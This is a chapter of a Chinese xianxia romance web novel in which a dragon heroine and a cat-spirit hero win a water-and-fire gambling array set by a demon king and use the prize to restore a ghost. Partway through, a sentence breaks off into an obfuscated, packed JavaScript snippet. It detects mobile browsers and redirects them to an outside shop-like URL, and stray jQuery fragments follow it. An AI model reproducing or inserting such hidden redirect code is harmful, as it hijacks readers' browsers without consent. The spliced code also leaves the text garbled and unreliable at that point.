说话的正是万妖王。
一行人中唯有悬今是妖,是以听闻此言,独她躬身行礼,却又不知面朝何方,显得手忙脚乱的。
“罢了,免礼。”万妖王语声低沉魅惑似蛊,尾音又绵长蕴藏寒意,并不现身,幽幽说道,“本尊今日心情尚可,愿与尔等讲一讲在此作赌的规矩。”
十七层突然出现两个圆形阵法。左为水阵,海浪喧嚣、波涛汹涌,右为火阵,熊熊烈火、刮刮燥燥。
“此乃本尊亲自施术设下的水火赌阵。”万妖王道,“赌者择一跳入,选对了,安然无恙,选错了……或火焚或水淹,能不能活下来便看入阵者的本事了。”
“不赌!华潋,咱不赌了!这是拿性命当儿戏啊!”隋澈义愤填膺,边说边将华潋拉到身后,“就说赔多少钱吧,我们才不会拿命赌这个!”
唉,真是关心则乱了。华潋蹙眉低笑,心说这只小猫怎的这么快忘记我刚才同他说的话了?她握住隋澈的手臂,道:“来都来了,干嘛不赌?”
“你疯了吗!这种阵法进去就是找死!我不许你去!”
“不用担……”
隋澈不再与华潋争辩,转而面对悬今,板着脸严肃地说:“你若还当我是朋友,顾及你我相识多年的情谊,那就用你的妖丹精气滋养阿醴,否则我……我就再也不认识你了!”
悬今咂咂嘴,并不把他此番赌气言论放在心上,面露为难地说:“阿澈啊,真不是我不想帮这个忙,而是我的妖丹精气实在滋养不了如此孱弱的鬼魂,给了也是白给。非但无法帮他化形为妖,甚是还可能伤及自身,我……我可不想做赔本的买卖。”
“你!”
你一天到晚咋咋呼呼、东奔西跑乱忙一通怎么就不知道提升提升你的修为呢啊!隋澈恨铁不成钢,心里骂的脏,又知这话不该从自己嘴里说出来,理应是悬今爹娘管教她,自己只有生闷气的份。
悬今不好意思地补言:“我先前不说,属实也是觉得有点丢脸,呵呵呵。”
“……”
隋澈心烦意乱,不知如何是好。华潋看他一眼,唇边扬起意味深长的笑容,对万妖王说:“我选左边的阵法,猜它是水阵。”
“你、这就赌啦?!”太草率了吧!隋澈一时失察没拦住,更是急得直跳脚,展开双臂挡住华潋,同时喋喋不已,“别去别去!华潋你别去……哎呀,再想想别的办法!”
妖奴提醒道:“赌约已开,不得反悔。”
隋澈又急又恼,恨不得一拳把这只多嘴的妖奴打倒,而后拉着华潋赶紧逃走。
“请吧。”万妖王施施而语,声音中同样带着一丝不易察觉的戏谑意。
眼见华潋即将涉险,隋澈自己都要急成了火阵,根本注意不到旁的事,连华潋方才的暗示都抛诸脑后了。他双眼好似长在华潋身上,她才一挪下,他便立刻抢先一步纵身跃出,直朝左边的阵法跳去。
“倏——”
却不料停滞在半空。
隋澈惶然失措,大喊道:“华潋!你定住我做什么?!快给我解开!”
华潋缓缓飞至隋澈面前,在他一声声惊恐万状的质问下,不紧不慢地步入阵法。
瞬息之间,两阵相易。她原先赌的水阵陡然变作火海,一下子吞噬掉她的身形,蚀天的火光映入隋澈眼中更添滔天之怒。
“华潋!”隋澈暴喝一声,继而一遍遍呼唤她的名字,“华潋,华潋……”声音愈发哽咽、慌乱、喑哑。
直至身体越来越颤抖,眼角逼出两道寒泪似断了线地砸落下来,玄猫本体终于不受控地现了形。
凌厉嘶鸣响彻妖塔,人的双眼转瞬换作金色猫瞳,隋澈与玄猫体征合而为一:尖耳后立,黑尾横甩,化掌为爪且用利甲划破了身为大仙的华潋对他施下的定身术法,冲闯进水火阵中。
忽尔,悠悠轻笑响起,于十七层飘飘荡荡:
“呵——”
怪了,万妖王笑甚?悬今虽也揪心他二人安危,但是更觉得奇怪:万妖王什么没见过,赢一场赌注至于令他开心至此吗?竟还笑出了声……
她目光四处搜寻欲找出笑声之源,终究无果,只看见了那块飘落在地的帕子,叹了一叹,走上前弯腰拾起,咕哝着埋怨:“都是因为你呀。”
帕角低垂,亦觉惭愧。
阵法中,隋澈吓得闭起了眼睛却仍不忘紧紧抱住华潋,竭尽所能将她完全护在怀里,生怕她被烈火伤及分毫。
凭他高大的身躯将她藏入怀中并非难事,可隋澈总觉得不够,一手揽住华潋的后脑抵在自己胸口,另一手圈住她的背身以几近令人窒息的力道一点点收紧臂膀……
倒是没人扒龙皮,可,这身龙骨仿佛要被人抱散架了。笑意无声地弥漫,华潋肩头微颤,弯了弯唇角在隋澈怀中发出闷闷的声音:“小猫,松开一点。”
隋澈耳边只有大火燃烧声,没有听到华潋的话。
华潋尝试推他,没想到他力气竟这般大,害她连手都抬不起来。无奈之下,她又唤道:“小猫,你睁开眼看看呀。”
隋澈拧紧的眉头微微耸动,小心翼翼地撩起眼角瞄去,忽然一顿,即又猛地睁圆两只眼睛审视周围:“这!怎、怎么会……”
怎么会是水阵?而且水浪自凝成柱将他们围在中间,全无淹没之势!隋澈惊诧,手臂无意间松了松。
华潋得了空隙赶忙大口呼吸两下,然后笑着吐露实情:“两个阵法都是水阵。”
“什么?”
“看来你又忘了,我是龙,能感应世间之水,所以我早就知道左右阵法都是一样的。”
“……”
“更何况我说了,万妖王不会真的伤害妖者,怎会用真的水火去灭妖呢?”
“……”
华潋装模作样地叹:“唉,笨猫。”
隋澈缓了好一阵儿才回神,毛绒绒的猫耳和黑色长尾消失不见,手也变回了修长十指,虚浮地搭在华潋的腰上……
“啊!我我对、对不……”他磕磕巴巴正要收手,猝不及防被人抓住了手腕,凝目望去,当即陷入一双深眸。
“为什么抱我抱这么紧?”
隋澈骤惊,眼睛睁得圆溜溜,心想:她这话也忒直白……他吞吞口水,眼神左右闪躲,语无伦次:“我……怕……”
“嗯?”
“我是怕……”
“怕什么?”
华潋步步紧逼,不论是言语还是举止皆不给隋澈逃避或退缩的机会。然而,隋澈还想垂死挣扎,同她的手暗暗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356466|199687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
较着劲:“要不然咱们先出去再说……”
“不,就现在,就这儿说。”
隋澈胸膛起伏不定,呼吸早已乱了分寸,虚空环在她腰际的手指蜷蜷颤动。他闭了闭眼又皱了皱眉,喉咙一滚,下定决心且郑重其事地唤她:“华潋。”
“我在。”
他复而睁目,鼓足勇气与她对视,任周遭风急浪险,他眼中只有她,眉心低皱而唇角泄一点苦笑,说出一句晦涩之言:
“我不知道我可不可以一直陪着你。”
华潋沉吟不语,琢磨着这话半晌,摇头反问:“为什么不可以?”
隋澈神情有些淡却,深吸一口气,勉强地说:“待此事了结,我想……带你去一个地方。”
男人拳打脚踢的画面又一次浮现在眼前。华潋忽有所悟,隐隐猜出隋澈是想带自己去哪里、去见谁。她未点破,只顺着他的意思应下来并松开了手。
随着她的动作,隋澈心里仿佛缺了一块,变得仓惶不安,竟又因此迅速环臂拥了她一下,只一下,不过刹那便藏抑不甘和遗憾地退了开。
隋澈一言不发,低着头站在华潋面前,视线垂落试图借此掩饰自己内心深处的百转千回。诚然,华潋不知晓他心中经历了怎样的煎熬,只知他用冰凉的掌心裹住自己的手,力道虽大却透着万分的小心,生怕弄疼了自己……
“华潋,我能破此阵法。”
隋澈斩钉截铁地说,听上去是说给华潋听,实则更像是说给他自己听——他的术法是足以与她相配的!
这一刻,华潋终于明白了一点他的纠结,心绪复杂难言。她想,自己应当宽慰几句,可转念又觉得多言无益,不如静候隋澈打破阵法,亦打破自缚……
华潋后退两步,看着隋澈聚精会神地施展术法,不消片刻就破了阵,决定夸一夸他。于是乎她用那双含着笑意的眼眸盯着隋澈,如同摸玄猫脑袋瓜那样轻手抚了抚他的鬓边,赞许道:“不错,修为愈发进益了。”
隋澈面色一闪,掩不住地窃喜,亦像玄猫那般哼噜噜的不好意思笑笑:“唔……谬赞啦。”旋即意识到正事,他又敛了笑色,神情严峻,一边锁眉凝目地审视周遭,一边说道:“我们赌赢了,还平安出阵了,就请万妖王愿赌服输,拿出妖丹吧!”
言罢,一颗闪烁着天缥之色的妖丹飘至众人眼前。
悬今托起帕子正要递交给华潋,忽被隋澈横身挡了住。
隋澈垂着眼皮看向悬今,语声平平地说:“现下阿醴有了妖丹、有了实体,你是不是该拿出你的妖丹精气助他一臂之力啦?别忘了你在凡间历劫时他可是尽心尽力地护你周全,还为了给你申冤而吃下毒……”
“好好好,我知道啦。”悬今不好再拒绝,硬着头皮施展妖术将附在帕子上的鬼魂与妖丹结合为一。
隋澈同华潋解释道:“仙者施术未必能令丹魂顺利相容,若是残留了仙气在体内,今后阿醴修炼时便有苦头受了。还是让妖者来吧,妥当一点。而且……”他凑近些许,手遮住嘴压低声音说,“既由悬今出手,之后便也只有她的妖丹精气滋养阿醴的妖识最合适,省得再来麻烦咱们。”
不多时,阿醴重塑身形,手捂胸口、眉宇微蹙,脸上露出惑然之色出现在众人面前。